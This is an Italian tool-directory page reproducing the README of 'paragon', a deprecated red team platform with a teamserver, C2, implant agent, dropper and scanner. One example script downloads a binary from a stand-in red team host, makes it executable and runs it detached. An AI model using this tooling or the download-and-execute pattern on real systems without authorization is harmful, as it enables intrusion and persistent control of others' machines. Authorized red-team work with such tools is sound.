Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
paragon — Piattaforma di engagement Red Team con l'obiettivo di unificare gli strumenti offensivi dietro una semplice interfaccia utente. | Kitploit
Strumenti/GitHubGitHub/kcarretto/paragon
Frameworks per Penetration TestingFramework di ExploitScripting e AutomazionePost-ExploitCommand and ControlRed TeamingSviluppo Payload
GitHubkcarretto/paragon

paragon

Piattaforma di engagement Red Team con l'obiettivo di unificare gli strumenti offensivi dietro una semplice interfaccia utente.

Vedi Repository
3044262 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Avviso di Deprecazione

Questo progetto è stato deprecato, fate riferimento al nostro nuovo Realm project, che si basa su molte delle idee che avevamo quando abbiamo creato questo repository.

CI Build Status Go Report Card Coverage Status GitHub release GoDoc

Paragon

Demo

Paragon è una piattaforma per engagement di Red Team. Mira a unificare strumenti offensivi dietro una semplice interfaccia utente, astraendo gran parte del lavoro di backend per consentire agli operatori di concentrarsi sulla scrittura di implant e dedicare meno tempo a preoccuparsi di database e CSS. Il repository fornisce anche alcuni strumenti offensivi già integrati con Paragon che possono essere utilizzati durante gli engagement.

Questo repository è ancora in fase di sviluppo intenso e non è pronto per l'uso in produzione. Quando sarà considerato stabile, verrà rilasciato un tag V1.0.0. Fino ad allora, l'API potrebbe subire modifiche sostanziali mentre continuiamo a semplificare il nostro design. Si prega di leggere la documentazione per sviluppatori qui sotto se si desidera aiutarci a raggiungere più velocemente questo traguardo.

Table of Contents

  • Feature Highlights
  • Getting Started
  • Component Overview
  • FAQ
  • Terminology
  • Developer Guide

Feature Highlights

  • Integra facilmente strumenti personalizzati per unificare le operazioni dietro una singola interfaccia
  • Interroga il grafo della conoscenza del Red Team utilizzando un'API GraphQL fornita
  • Emissione di eventi per automazione a bassa latenza ed elaborazione in tempo reale
  • Linguaggio di scripting simile a Python per distribuzioni, post-exploitation e altro
  • Implant e distribuzione multipiattaforma inclusi
  • Registra l'attività degli operatori per aggregarla comodamente in un report post-engagement da revisionare

Getting Started

Un'istanza dimostrativa rapida può essere configurata clonando il repository ed eseguendo docker-compose up. Apri 127.0.0.1:80 nel tuo browser per iniziare!

Le immagini utilizzate sono disponibili su docker-hub e possono essere configurate da un file docker-compose per una distribuzione in produzione.

Component Overview

Scripting Language

La maggior parte dei componenti in questo repository si basa su un linguaggio di scripting simile a Python che consente un potente controllo e personalizzazione del loro comportamento. Il linguaggio è una versione modificata di Google's starlark, estesa con funzionalità multipiattaforma per gli operatori. Questo permette anche a strumenti come l'agente e il dropper (discussi di seguito) di eseguire attività senza fare affidamento su binari di sistema (curl, bash, ecc.). Tutte le operazioni vengono eseguite come codice in Golang, quindi è intuitivo aggiungere ulteriori funzionalità all'ambiente di scripting. Ecco un esempio di script:

root@kitploit:~
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)

Reference

Teamserver

Fornisce una semplice applicazione web e un'API GraphQL per interfacciarsi con un grafo di conoscenza del Red Team, unificando gli strumenti dietro una fonte di verità centralizzata e astraendo molte noiose preoccupazioni di backend dagli operatori. Integra i tuoi strumenti personalizzati con il Teamserver (usando l'API GraphQL o le sottoscrizioni agli eventi) per risparmiare tempo sul lavoro di backend. Il Teamserver registra tutta l'attività, quindi con tutti i tuoi strumenti unificati in un unico posto, scrivere report post-engagement diventa significativamente più facile.

Built-In Tools

I seguenti strumenti sono inclusi anch'essi nel repository. Possono essere facilmente estesi per adattarsi a molti casi d'uso multipiattaforma.

Dropper

  • Completamente multipiattaforma
  • Compila staticamente gli asset in un singolo binario
  • Fornisce un linguaggio di scripting simile a Python per la configurazione personalizzata della distribuzione

Paragon fornisce uno strumento per impacchettare asset (binari, script, ecc.) in un singolo binario che, una volta eseguito, eseguirà il tuo script di distribuzione personalizzato che può scrivere asset sul filesystem, avviare processi, scaricare file, gestire errori e altro. È completamente multipiattaforma e compilato staticamente, garantendo distribuzioni affidabili. Se desideri estenderne la funzionalità, ti basterà estendere il file golang generato prima di compilare.

Agent

  • Completamente multipiattaforma
  • Fornisce un linguaggio di scripting simile a Python per la post-exploitation
  • Meccanismi di comunicazione modulari, compila solo ciò che ti serve
    • Utilizza più opzioni per garantire callback affidabili
  • Personalizza come l'agente gestisce i fallimenti di comunicazione

Un implant che esegue attività e riporta i risultati delle esecuzioni. È configurato per impostazione predefinita per eseguire attività utilizzando il linguaggio di scripting simile a Python di Paragon e per comunicare con un C2 tramite http(s). È scritto in Go e può essere rapidamente modificato per aggiungere nuovi metodi di trasporto (es. DNS), opzioni di esecuzione, logica di failover e altro.

C2

  • Distribuzione leggera
  • Alte prestazioni, in grado di gestire migliaia di Agent
    • Dipende dalle risorse di sistema e dalla larghezza di banda disponibile
  • Servizio distribuito, utilizza tutti i C2 che desideri

Agisce da intermediario tra l'Agent e il Teamserver. Gestisce i callback degli agent per vari meccanismi di comunicazione e fornisce loro nuovi task dalla coda del teamserver.

Runner

  • Esecuzione di attività in tempo reale a bassa latenza
  • Facilmente esteso per aggiungere supporto per più meccanismi di comunicazione
  • Servizio distribuito, utilizza tutti i runner che desideri

Invece di attendere un callback, alcune situazioni potrebbero richiedere una connessione diretta per eseguire rapidamente un'attività e visualizzarne l'output. Il runner realizza ciò sottoscrivendo code di attività e stabilendo una connessione alla macchina di destinazione (es. tramite ssh). Ciò consente a integrazioni simili a shell di utilizzare la stessa interfaccia degli implant e dei C2. Permette anche di condurre la distribuzione iniziale dell'implant attraverso questa interfaccia.

Scanner

  • Monitora i servizi di destinazione raggiungibili
  • Automatizza le risposte quando i servizi diventano (non) disponibili
  • Fornisce informazioni di rete al grafo di conoscenza, che possono essere utilizzate da altri strumenti
  • Servizio distribuito, utilizza tutti gli scanner che desideri

Monitora l'attività di rete target e i servizi visibili. Mappa un grafo della rete dell'engagement e attiva l'automazione sui cambiamenti di stato (es. ssh diventa disponibile).

FAQ

Cosa succede se le macchine riportano lo stesso UUID?

Impostare la variabile d'ambiente killswitch PG_KS_MachineUUID per il teamserver disabiliterà le ricerche che utilizzano gli UUID delle macchine.

Terminology

Per garantire una comunicazione chiara su questi sistemi complessi, abbiamo delineato alcuni termini specifici del progetto che verranno utilizzati in tutta la documentazione del progetto.

Implant

Qualsiasi software malevolo che verrà eseguito su sistemi compromessi durante l'engagement.

Task

Operazioni desiderate da eseguire su un sistema compromesso specifico. I task forniscono istruzioni di esecuzione agli implant, tuttavia la loro sintassi/struttura può essere completamente specifica per uno strumento.

Agent

Un Implant che riceve task dal teamserver, li esegue e riporta i risultati. Un'implementazione predefinita estensibile è inclusa in questo repository, che richiede che i task siano forniti come script scritti utilizzando il DSL simile a Python del progetto.

Job

Richieste che il Teamserver esegua un insieme di operazioni date. Quando si crea un job, le istruzioni vengono salvate ma non eseguite. L'utente può richiedere al Teamserver di eseguire un job zero o più volte mettendolo in coda e fornendo i parametri necessari. I job non possono mai essere aggiornati, ma è possibile creare nuove versioni dei job per evitare copie e incolla eccessivi.

Un caso d'uso comune per un Job è quando l'utente desidera eseguire uno script su alcuni Target. L'utente crea un job, che istruisce il teamserver a creare task con il contenuto fornito, ma lascia le macchine di destinazione desiderate come parametro. Quando il job viene messo in coda, l'utente fornisce un elenco di macchine di destinazione come parametro e il Teamserver creerà un task per ogni macchina.

Developer Guide

Quanto segue funge da riferimento iniziale e breve per lo sviluppo di Paragon. Ulteriore documentazione può essere trovata nei godocs del pacchetto o leggendo un po' di codice :) Dopo che avremo finalizzato alcune decisioni di progettazione (ben prima di raggiungere v1), entrerà in vigore un code-freeze fino a quando tutta la documentazione non sarà stata aggiornata e adeguatamente organizzata.

Prerequisites

  • Git
  • Docker
  • VSCode
    • Sebbene tu possa usare altri editor, perderai le personalizzazioni che accelerano lo sviluppo per VSCode
    • L'estensione Remote - Containers fornita da Microsoft è necessaria per iniziare.

Environment Setup

Dopo aver installato i prerequisiti elencati sopra, potrai iniziare in pochissimo tempo. Basta clonare il repository e aprirlo in VSCode. Ti verrà chiesto di aprire il codebase in un container di sviluppo, configurato con tutte le dipendenze del progetto e gli strumenti di sviluppo di cui avrai bisogno. Se questa opzione non dovesse apparire, apri la palette dei comandi ed esegui > Remote-Containers: Open Folder In Container che avvierà il container per te. Se è la prima volta che avvii il container, potrebbe volerci un po' per il download... quindi prenditi un caffè ^_^

Project Layout

Di seguito è riportata una panoramica della struttura del progetto e di dove risiede ogni componente. Se questo dovesse diventare obsoleto, sentiti libero di inviare un segnalazione o, preferibilmente, una PR per sistemarlo. Il codebase è configurato come un monorepository, che ci permette di sfruttare strumenti di sviluppo condivisi, standardizzazione, ecc. evitando complicati conflitti di versione.

CartellaCaso d'Uso
.devcontainerConfigurazione per l'ambiente di sviluppo containerizzato di VSCode.
.githubConfigurazione di Github.
.statsUna directory ignorata da git (che potresti avere o meno) per memorizzare l'output del profiling delle performance.
entDefinizioni API relative al grafo utilizzate dal teamserver.
graphqlSchema GraphQL e codice correlato generato da ent.
cmdStrumenti eseguibili da riga di comando e servizi.
distUna directory ignorata da git per memorizzare gli artefatti di build.
dockerDockerfile utilizzati per la distribuzione di esempio.
entModelli e schemi del grafo utilizzati dal teamserver (vedi lo strumento entgo di Facebook per maggiori informazioni).
pkgLibrerie pubbliche utilizzate dagli strumenti del repository ma anche esposte al mondo.
pkg/agentUn'astrazione per creare facilmente un implant o un trasporto di comunicazione.
pkg/c2Helper relativi al servizio C2 e definizioni standardizzate dei messaggi.
pkg/c2/protoSpecifica Protobuf per definire un formato di serializzazione standardizzato per la comunicazione Agente <-> C2.
pkg/dropFornisce un metodo semplice utilizzato dai payload dropper compilati.
pkg/middlewareMiddleware comune per servizi HTTP.
pkg/scriptLinguaggio di scripting simile a Python per configurazione dinamica, automazione ed exploitation multipiattaforma.
pkg/script/stdlibLibrerie standard che espongono funzionalità per ambienti di esecuzione di script.
pkg/teamserverHelper relativi al servizio Teamserver.
wwwContiene l'applicazione web principale ospitata dal teamserver. Creata dall'app create-react-app di Facebook.
www/src/componentsComponenti react riutilizzabili.
www/src/configConfigurazione e routing dell'app Web.
www/src/viewsContenitori che interrogano i dati dal Teamserver e compongono componenti per il rendering.

Teamserver Reference

Knowledge Graph

Di seguito è riportata una panoramica della relazione tra i nodi nel grafo di conoscenza del Red Team gestito dal Teamserver.

Graph

Agent Reference

Priorità di trasporto. Per utilizzare il proprio, è sufficiente implementare l'interfaccia agent.Sender e registrare il proprio trasporto durante l'inizializzazione. Esempi di trasporti esistenti si trovano nelle sottodirectory del pacchetto agent.

Task Execution

Per impostazione predefinita, l'agente si aspetta che i task aderiscano alla sintassi di starlark ed espone una libreria standard per gli script da utilizzare. Per modificare il comportamento dell'esecuzione dei task (ad esempio, solo comandi bash), puoi implementare l'interfaccia agent.Receiver per eseguire i task come desideri.

Scripting Environment

L'ambiente di scripting può essere personalizzato per il tuo agente, consentendoti di impacchettare facilmente nuove funzionalità per gli script da utilizzare. Vedi script options per sapere come estendere il motore di script dell'agente.

Execution Flow

Di seguito è riportato un diagramma di flusso dell'esecuzione generale dell'implant agente.

Adding a Transport

L'agente è progettato per essere facilmente personalizzato con nuovi meccanismi di trasporto, multiplexando le comunicazioni basate su

AgentExec

Scarica lo strumento